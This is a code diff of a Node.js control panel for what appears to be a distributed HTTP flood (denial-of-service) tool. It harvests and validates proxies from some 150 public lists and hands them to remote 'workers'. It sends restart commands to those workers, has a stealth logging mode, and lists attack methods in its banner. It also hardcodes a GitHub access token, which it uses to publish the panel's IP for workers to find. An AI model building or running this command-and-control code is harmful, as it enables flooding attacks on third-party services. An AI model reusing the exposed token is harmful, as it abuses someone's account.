+ 'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/http.txt',
1326
+ 'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/https.txt',
1327
+ 'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks4.txt',
1328
+ 'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks5.txt',
1329
+ 'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt',
1330
+ 'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/https_proxies.txt',
1331
+ 'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks4_proxies.txt',
1332
+ 'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks5_proxies.txt',
1333
+ 'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt',
1334
+ 'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/http.txt',
1335
+ 'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/https.txt',
1336
+ 'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks4.txt',
1337
+ 'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks5.txt',
1338
+ 'https://openproxylist.xyz/http.txt',
1339
+ 'https://openproxylist.xyz/https.txt',
1340
+ 'https://openproxylist.xyz/socks4.txt',
1341
+ 'https://openproxylist.xyz/socks5.txt',
1342
+ 'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/all/data.txt',
1343
+ 'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/http/data.txt',
1344
+ 'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/https/data.txt',
1345
+ 'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks4/data.txt',
1346
+ 'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks5/data.txt',
1347
+ 'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/http.txt',
1348
+ 'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/https.txt',
1349
+ 'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks4.txt',
1350
+ 'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks5.txt',
1351
+ 'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/http.txt',
1352
+ 'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/https.txt',
1353
+ 'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks4.txt',
1354
+ 'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks5.txt',
1355
+ 'https://raw.githubusercontent.com/Volodichev/proxy-list/main/http.txt',
1356
+ 'https://raw.githubusercontent.com/Volodichev/proxy-list/main/https.txt',
1357
+ 'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks4.txt',
1358
+ 'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks5.txt',
1359
+ 'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/http.txt',
1360
+ 'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/https.txt',
1361
+ 'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt',
1362
+ 'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt',
1363
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt',
1364
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/https.txt',
1365
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt',
1366
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt',
1367
+ 'https://www.proxy-list.download/api/v1/get?type=http',
1368
+ 'https://www.proxy-list.download/api/v1/get?type=https',
1369
+ 'https://www.proxy-list.download/api/v1/get?type=socks4',
1370
+ 'https://www.proxy-list.download/api/v1/get?type=socks5',
1371
+ 'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/http.txt',
1372
+ 'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/https.txt',
1373
+ 'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks4.txt',
1374
+ 'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks5.txt',
1375
+ 'https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt',
1376
+ 'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/http.txt',
1377
+ 'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/https.txt',
1378
+ 'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks4.txt',
1379
+ 'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks5.txt',
1380
+ 'https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list',
1381
+ 'https://spys.me/proxy.txt',
1382
+ 'https://spys.me/socks.txt',
1383
+ 'https://raw.githubusercontent.com/rx443/proxy-list/online/http.txt',
1384
+ 'https://raw.githubusercontent.com/rx443/proxy-list/online/https.txt',
1385
+ 'https://raw.githubusercontent.com/rx443/proxy-list/online/socks4.txt',
1386
+ 'https://raw.githubusercontent.com/rx443/proxy-list/online/socks5.txt',
1387
+ 'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/http.txt',
1388
+ 'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/https.txt',
1389
+ 'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks4.txt',
1390
+ 'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks5.txt',
1391
+ 'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt',
1392
+ 'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/https.txt',
1393
+ 'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks4.txt',
1394
+ 'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks5.txt',
1395
+ 'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/http.txt',
1396
+ 'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/https.txt',
1397
+ 'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks4.txt',
1398
+ 'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks5.txt',
1399
+ 'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/http.txt',
1400
+ 'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks4.txt',
1401
+ 'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks5.txt',
1402
+ 'https://proxyspace.pro/http.txt',
1403
+ 'https://proxyspace.pro/https.txt',
1404
+ 'https://proxyspace.pro/socks4.txt',
1405
+ 'https://proxyspace.pro/socks5.txt',
1406
+ 'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt',
1407
+ 'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt',
1408
+ 'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks4/socks4.txt',
1409
+ 'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks5/socks5.txt',
1410
+ 'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/http.txt',
1411
+ 'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/https.txt',
1412
+ 'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks4.txt',
1413
+ 'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks5.txt',
1414
+ 'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/http.txt',
1415
+ 'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks4.txt',
1416
+ 'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks5.txt',
1417
+ 'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/http.txt',
1418
+ 'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/https.txt',
1419
+ 'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks4.txt',
1420
+ 'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks5.txt',
1421
+ // ── Additional sources ────────────────────────────────────────────────
1422
+ 'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
1423
+ 'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all',
1424
+ 'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all',
1425
+ 'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/http.txt',
1426
+ 'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks4.txt',
1427
+ 'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks5.txt',
1428
+ 'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/http.txt',
1429
+ 'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks4.txt',
1430
+ 'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks5.txt',
1431
+ 'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/http_proxies.txt',
1432
+ 'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/https_proxies.txt',
1433
+ 'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks4_proxies.txt',
1434
+ 'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks5_proxies.txt',
1435
+ 'https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt',
1436
+ 'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/http_proxies.txt',
1437
+ 'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks4_proxies.txt',
1438
+ 'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks5_proxies.txt',
1439
+ 'https://raw.githubusercontent.com/themiralay/Proxy-List-World/master/data.txt',
1440
+ 'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt',
1441
+ 'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt',
1442
+ 'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt',
1443
+ 'https://raw.githubusercontent.com/casals-ar/proxy-list/main/http',
1444
+ 'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks4',
1445
+ 'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks5',
1446
+ 'https://raw.githubusercontent.com/im-razvan/proxy_list/main/http.txt',
1447
+ 'https://raw.githubusercontent.com/im-razvan/proxy_list/main/socks5.txt',
1448
+ 'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/http.txt',
1449
+ 'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks4.txt',
1450
+ 'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks5.txt',
1451
+ 'https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt',
1452
+ 'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/http.txt',
1453
+ 'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/socks5.txt',
1454
+ 'https://raw.githubusercontent.com/saisuiu/Lionkings-Http-Proxys-Proxies/main/free.txt',
1455
+ 'https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt',
1456
+ 'https://raw.githubusercontent.com/a2u/free-proxy-list/master/free-proxy-list.txt',
1457
+ 'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/http.txt',
1458
+ 'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/socks5.txt',
1459
+ 'https://raw.githubusercontent.com/mmpx12/proxy-list/master/proxy.txt',
1460
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/http.txt',
1461
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks4.txt',
1462
+ 'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks5.txt',
1463
+ ];
1464
+ const JSON_SOURCES = [
1465
+ { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1466
+ { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1467
+ { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=3&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1468
+ { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1469
+ { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1470
+ { url: 'https://api.proxyscrape.com/v4/free-proxy-list/get?request=displayproxies&proxy_format=protocolipport&format=json', extract: (d) => { if (!d || !Array.isArray(d.proxies)) return []; return d.proxies.map(p => p.proxy).filter(Boolean); } },
1471
+ { url: 'https://proxylist.geonode.com/api/proxy-list?filterUpTime=90&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
1472
+ ];
1473
+
1474
+ function fetchProxyURL(url) {
1475
+ return new Promise((resolve) => {
1476
+ const mod = url.startsWith('https') ? https : http;
1477
+ const req = mod.get(url, { timeout: PROXY_FETCH_TIMEOUT, headers: { 'User-Agent': 'Mozilla/5.0' } }, (res) => {
1478
+ if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) return resolve(fetchProxyURL(res.headers.location));
1479
+ if (res.statusCode < 200 || res.statusCode >= 400) return resolve({ ok: false });
1480
+ let body = '';
1481
+ res.on('data', c => { body += c; });
1482
+ res.on('end', () => resolve({ ok: true, data: body }));
1483
+ });
1484
+ req.on('timeout', () => { req.destroy(); resolve({ ok: false }); });
1485
+ req.on('error', () => resolve({ ok: false }));
1486
+ });
1487
+ }
1488
+
1489
+ async function scrapeProxies() {
1490
+ const collected = new Set();
1491
+ let success = 0, failed = 0;
1492
+ const CONCURRENCY = 40;
1493
+ for (let i = 0; i < PLAIN_SOURCES.length; i += CONCURRENCY) {
1494
+ const batch = PLAIN_SOURCES.slice(i, i + CONCURRENCY);
1495
+ const results = await Promise.allSettled(batch.map(u => fetchProxyURL(u)));
1496
+ results.forEach((r) => { if (r.status === 'fulfilled' && r.value.ok) { success++; const text = typeof r.value.data === 'string' ? r.value.data : JSON.stringify(r.value.data); (text.match(PROXY_REGEX_P) || []).forEach(m => collected.add(m)); } else failed++; });
1497
+ }
1498
+ const jsonResults = await Promise.allSettled(JSON_SOURCES.map(s => fetchProxyURL(s.url)));
1499
+ jsonResults.forEach((r, i) => { if (r.status === 'fulfilled' && r.value.ok) { try { const d = JSON.parse(r.value.data); JSON_SOURCES[i].extract(d).forEach(p => collected.add(p)); success++; } catch { failed++; } } else failed++; });
1500
+ return { proxies: Array.from(collected), success, failed };
1501
+ }
1502
+
1503
+ function testProxy(host, port) {
1504
+ return new Promise((resolve) => {
1505
+ const socket = new net.Socket();
1506
+ let done = false;
1507
+ const finish = (ok) => { if (done) return; done = true; socket.destroy(); resolve(ok); };
1508
+ socket.setTimeout(PROXY_VALIDATE_TIMEOUT);
1509
+ socket.connect(parseInt(port, 10), host, () => finish(true));
1510
+ socket.on('error', () => finish(false));
1511
+ socket.on('timeout', () => finish(false));
1512
+ });
1513
+ }
1514
+
1515
+ async function validateProxies(proxies, onLive) {
1516
+ const live = [];
1517
+ const batchSize = PROXY_MAX_CONCURRENT;
1518
+ for (let i = 0; i < proxies.length; i += batchSize) {
1519
+ const batch = proxies.slice(i, i + batchSize);
1520
+ const results = await Promise.allSettled(batch.map(async (proxy) => { try { const [host, port] = proxy.split(':'); if (!host || !port || !/^\d+$/.test(port)) return { proxy, ok: false }; return { proxy, ok: await testProxy(host.trim(), port.trim()) }; } catch { return { proxy, ok: false }; } }));
1521
+ const batchLive = [];
1522
+ results.forEach(r => { if (r.status === 'fulfilled' && r.value?.ok) { live.push(r.value.proxy); batchLive.push(r.value.proxy); } });
1523
+ if (onLive && batchLive.length > 0) onLive(batchLive);
1524
+ }
1525
+ return live;
1526
+ }
1527
+
1528
+ let proxyScrapeRunning = false;
1529
+ let proxyScrapeLog = [];
1530
+ let proxyScrapeStartTime = null;
1531
+
1532
+ app.post("/api/proxy/scrape", requireAuth, async (req, res) => {
1533
+ if (proxyScrapeRunning) return res.json({ status: "running", message: "Proxy scraping already in progress", startTime: proxyScrapeStartTime });
1534
+ proxyScrapeRunning = true;
1535
+ proxyScrapeStartTime = new Date();
1536
+ proxyScrapeLog = [];
1537
+ proxyScrapeLog.push({ type: "info", message: `Starting proxy scrape: ${PLAIN_SOURCES.length + JSON_SOURCES.length} sources` });
1538
+ res.json({ status: "ok", message: "Proxy scraping started" });
1539
+ (async () => {
1540
+ const existing = new Set();
1541
+ try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
1542
+ const result = await scrapeProxies();
1543
+ result.proxies.forEach(p => existing.add(p));
1544
+ proxyScrapeLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique (${result.success} OK, ${result.failed} failed). Merged: ${existing.size} (with existing)` });
1545
+ // Stream: clear file now, write live proxies as each batch completes
1546
+ try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
1547
+ const liveSet = new Set();
1548
+ const live = await validateProxies(Array.from(existing), (batchLive) => {
1549
+ const newOnes = batchLive.filter(p => !liveSet.has(p));
1550
+ newOnes.forEach(p => liveSet.add(p));
1551
+ if (newOnes.length > 0) {
1552
+ try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
1553
+ proxyScrapeLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
1554
+ }
1555
+ });
1556
+ proxyScrapeLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
1557
+ proxyScrapeRunning = false;
1558
+ })();
1559
+ });
1560
+
1561
+ app.get("/api/proxy/count", requireAuth, (req, res) => { let count = 0; let size = 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); count = content.split("\n").filter(l => l.trim()).length; size = fs.statSync(path.join(__dirname, "proxy.txt")).size; } catch {} res.json({ count, size, file: "proxy.txt" }); });
1562
+ app.get("/api/proxy/live", requireAuth, (req, res) => { res.json({ running: proxyScrapeRunning, startTime: proxyScrapeStartTime, logLength: proxyScrapeLog.length, log: proxyScrapeLog }); });
1563
+ app.post("/api/proxy/stop", requireAuth, (req, res) => { proxyScrapeRunning = false; proxyScrapeLog.push({ type: "stopped", message: "Scrape flag stopped" }); res.json({ status: "ok", message: "Scrape flag stopped" }); });
1564
+ app.delete("/api/proxy", requireAuth, (req, res) => { try { fs.writeFileSync(path.join(__dirname, "proxy.txt"), ""); res.json({ status: "ok", message: "All proxies deleted" }); } catch (err) { res.status(500).json({ error: "Failed to delete proxies: " + err.message }); } });
1565
+
1566
+ // ─── Proxy Update (non-blocking scrape + validate) ──────────────
1567
+ let proxyUpdateRunning = false;
1568
+ let proxyUpdateLog = [];
1569
+ app.post("/api/proxy/update", requireAuth, async (req, res) => {
1570
+ if (proxyUpdateRunning) return res.json({ status: "running", message: "Update already in progress" });
1571
+ proxyUpdateRunning = true;
1572
+ proxyUpdateLog = [];
1573
+ res.json({ status: "ok", message: "Proxy update started (with streaming validation)" });
1574
+ (async () => {
1575
+ try {
1576
+ const result = await scrapeProxies();
1577
+ proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
1578
+ const existing = new Set();
1579
+ try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
1580
+ result.proxies.forEach(p => existing.add(p));
1581
+ try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
1582
+ const liveSet = new Set();
1583
+ const live = await validateProxies(Array.from(existing), (batchLive) => {
1584
+ const newOnes = batchLive.filter(p => !liveSet.has(p));
1585
+ newOnes.forEach(p => liveSet.add(p));
1586
+ if (newOnes.length > 0) {
1587
+ try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
1588
+ proxyUpdateLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
1589
+ }
1590
+ });
1591
+ proxyUpdateLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
1592
+ stealthLog(`[proxy/update] Done: ${live.length} live proxies saved`);
1593
+ } catch (e) { if (!STEALTH) console.error('[proxy/update] Error:', e.message); proxyUpdateLog.push({ type: "error", message: e.message }); }
1594
+ proxyUpdateRunning = false;
1595
+ })();
1596
+ });
1597
+ app.get("/api/proxy/update/status", requireAuth, (req, res) => { res.json({ running: proxyUpdateRunning, logLength: proxyUpdateLog.length, log: proxyUpdateLog }); });
1598
+
1599
+ // ─── Real-time Proxies for Workers ───────
1600
+ let proxyCache = null;
1601
+ let proxyCacheTime = 0;
1602
+ function loadProxyCache() {
1603
+ const now = Date.now();
1604
+ if (proxyCache && (now - proxyCacheTime) < 60000) return proxyCache;
1605
+ try {
1606
+ const content = fs.readFileSync(PROXY_FILE, 'utf8');
1607
+ proxyCache = content.split('\n').filter(l => l.trim());
1608
+ proxyCacheTime = now;
1609
+ } catch { proxyCache = []; }
1610
+ return proxyCache;
1611
+ }
1612
+ app.get("/api/worker/proxies", async (req, res) => {
1613
+ const auth = (req.headers["authorization"] || "");
1614
+ const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
1615
+ if (token !== WORKER_SECRET) return res.status(401).json({ error: "Unauthorized" });
1616
+ const proxies = loadProxyCache();
1617
+ const hash = require("crypto").createHash("md5").update(proxies.join(",")).digest("hex");
1618
+ res.json({ count: proxies.length, hash, proxies });
1619
+ });
1620
+ app.delete("/api/proxy/:index", requireAuth, (req, res) => { const index = parseInt(req.params.index); try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); if (index < 0 || index >= lines.length) return res.status(400).json({ error: "Invalid proxy index" }); const removed = lines.splice(index, 1); fs.writeFileSync(path.join(__dirname, "proxy.txt"), lines.join("\n") + (lines.length > 0 ? "\n" : "")); res.json({ status: "ok", message: `Proxy deleted: ${removed[0]}`, remaining: lines.length }); } catch (err) { res.status(500).json({ error: "Failed to delete proxy: " + err.message }); } });
1621
+ app.get("/api/proxy/list", requireAuth, (req, res) => { const limit = parseInt(req.query.limit) || 100; const offset = parseInt(req.query.offset) || 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); const total = lines.length; const proxies = lines.slice(offset, offset + limit); res.json({ total, count: proxies.length, offset, limit, proxies }); } catch (err) { res.json({ total: 0, count: 0, proxies: [] }); } });
1622
+
1623
+
1624
+ // ─── History ──────────────────────────────────────────────
1625
+ app.get("/api/history", requireAuth, (req, res) => { const history = getHistory(); const limit = parseInt(req.query.limit) || 100; res.json({ count: history.length, history: history.slice(0, limit) }); });
1626
+ app.delete("/api/history", requireAuth, (req, res) => { saveHistory([]); res.json({ status: "ok", message: "History cleared" }); });
1627
+
1628
+
1629
+ // ─── Remote Sync ──────────────────────────────────────────
1630
+ app.post("/api/sync/pull", requireAuth, async (req, res) => {
1631
+ const { execFile } = require("child_process");
1632
+ const ghToken = (CONFIG.ghToken || "").trim();
1633
+ const ghRepo = (CONFIG.ghRepo || "").trim();
1634
+
1635
+ // Build authenticated remote URL or fall back to existing origin
1636
+ function buildPullArgs(originUrl) {
1637
+ let remote = originUrl;
1638
+ if (ghToken && remote.startsWith("https://")) {
1639
+ remote = remote.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
1640
+ } else if (ghToken && ghRepo) {
1641
+ remote = ghRepo.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
1642
+ }
1643
+ return remote !== originUrl ? ["-C", __dirname, "pull", remote] : ["-C", __dirname, "pull"];
1644
+ }
1645
+
1646
+ // Step 1: Broadcast restart to all workers BEFORE pulling
1647
+ const workers = global.activeWorkers || {};
1648
+ const workerCount = Object.keys(workers).length;
1649
+
1650
+ if (workerCount > 0) {
1651
+ stealthLog(`📡 Broadcasting restart to ${workerCount} worker(s) before pull...`);
1652
+ for (const wid of Object.keys(workers)) {
1653
+ pendingCommands.set(wid, { action: "restart" });
1654
+ }
1655
+ }
1656
+
1657
+ // Step 2: Execute git pull
1658
+ execFile("git", ["-C", __dirname, "remote", "get-url", "origin"], { timeout: 8000 }, (e1, stdout1) => {
1659
+ const originUrl = (stdout1 || "").trim();
1660
+ const pullArgs = buildPullArgs(originUrl || ghRepo);
1661
+
1662
+ execFile("git", pullArgs, { timeout: 60000 }, (e2, stdout2, stderr2) => {
1663
+ const out = ((stdout2 || "") + (stderr2 || "")).trim();
1664
+ const failed = (e2 && e2.code) || out.toLowerCase().includes("error");
1665
+
1666
+ if (failed) {
1667
+ return res.json({ status: "error", output: out || e2.message, workersNotified: workerCount > 0 });
1668
+ }
1669
+
1670
+ // Step 3: Success - schedule process exit
1671
+ stealthLog(`✅ Pull successful. ${workerCount} worker(s) notified to restart.`);
1672
+ res.json({
1673
+ status: "ok",
1674
+ output: out || "Already up to date.",
1675
+ restarting: true,
1676
+ workersNotified: workerCount,
1677
+ countdown: 5
1678
+ });
1679
+
1680
+ // Give workers 3 seconds to receive restart command before exiting
1681
+ setTimeout(() => {
1682
+ stealthLog("🔄 Server exiting for restart...");
1683
+ process.exit(0);
1684
+ }, 3000);
1685
+ });
1686
+ });
1687
+ });
1688
+
1689
+ // ─── Serve HTML ───────────────────────────────────────────
1690
+ app.get("/", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
1691
+ app.get("/login", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
1692
+
1693
+ // ─── Start Server ─────────────────────────────────────────
1694
+ app.listen(WEB_PORT, "0.0.0.0", async () => {
1695
+ if (!STEALTH) console.log("🌐 Mendeteksi IP publik...");
1696
+ const publicIP = await getPublicIP();
1697
+ const ipDisplay = publicIP || "<IP_PUBLIK>";
1698
+ if (!STEALTH) {
1699
+ console.log(`\n╔══════════════════════════════════════════════════════════╗`);
1700
+ console.log(`║ 🚀 Michelle Wang - Web Control Panel ║`);
1701
+ console.log(`╠══════════════════════════════════════════════════════════╣`);
1702
+ console.log(`║ IP Publik: ${ipDisplay.padEnd(47)}║`);
1703
+ console.log(`║ URL: http://localhost:${String(WEB_PORT).padEnd(44)}║`);
1704
+ console.log(`║ Akses: http://${ipDisplay}:${WEB_PORT}${" ".repeat(Math.max(0, 37 - ipDisplay.length - String(WEB_PORT).length))}║`);
1705
+ console.log(`║ Username: ${WEB_USER.padEnd(48)}║`);
1706
+ console.log(`║ Password: ${WEB_PASS.padEnd(48)}║`);
1707
+ console.log(`╠══════════════════════════════════════════════════════════╣`);
1708
+ console.log(`║ Methods: h2-go (DOR), h1-go (HTTP/1.1) ║`);
1709
+ console.log(`╚══════════════════════════════════════════════════════════╝\n`);
1710
+ if (!publicIP) { console.log(" [!] IP publik tidak terdeteksi otomatis."); console.log(" Cari IP di: panel hosting / pterodactyl node IP.\n"); }
1711
+ }
1712
+
1713
+ // ═══════════════════════════════════════════════════════════
1714
+ // AUTO-UPDATE GITHUB CONFIG (workers fetch from here)
1715
+ // Only push if URL changed — 0 requests if same
1716
+ // ═══════════════════════════════════════════════════════════
1717
+ (function autoUpdateGitHubConfig() {
1718
+ const ghToken = "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";
1719
+ const ghRepo = "michelleangelicaputri8-prog/MichelleWang";
1720
+ if (!publicIP) { stealthLog(" [config] Skipping auto-update — no public IP detected"); return; }
1721
+
1722
+ const newPanelUrl = `http://${publicIP}:${WEB_PORT}`;
1723
+ const ghApiUrl = `https://api.github.com/repos/${ghRepo}/contents/panel-config.json`;
1724
+
1725
+ // Step 1: Fetch current config from GitHub (ETag cached)
1726
+ const req = https.get({
1727
+ hostname: "api.github.com",
1728
+ path: `/repos/${ghRepo}/contents/panel-config.json`,
1729
+ method: "GET",
1730
+ headers: {
1731
+ "Authorization": `token ${ghToken}`,
1732
+ "Accept": "application/vnd.github.v3+json",
1733
+ "User-Agent": "Panel-AutoUpdate"
1734
+ },
1735
+ timeout: 10000
1736
+ }, (res) => {
1737
+ let body = "";
1738
+ res.on("data", c => { body += c; });
1739
+ res.on("end", () => {
1740
+ try {
1741
+ const current = JSON.parse(body);
1742
+ const currentContent = JSON.parse(Buffer.from(current.content, "base64").toString());
1743
+ if (currentContent.panelUrl === newPanelUrl) {
1744
+ stealthLog(` [config] GitHub config up-to-date: ${newPanelUrl} (skipped update)`);
1745
+ return; // URL sama — skip
1746
+ }
1747
+ // Step 2: URL beda — update ke GitHub
1748
+ const newContent = JSON.stringify({ panelUrl: newPanelUrl });
1749
+ const updateReq = https.request({
1750
+ hostname: "api.github.com",
1751
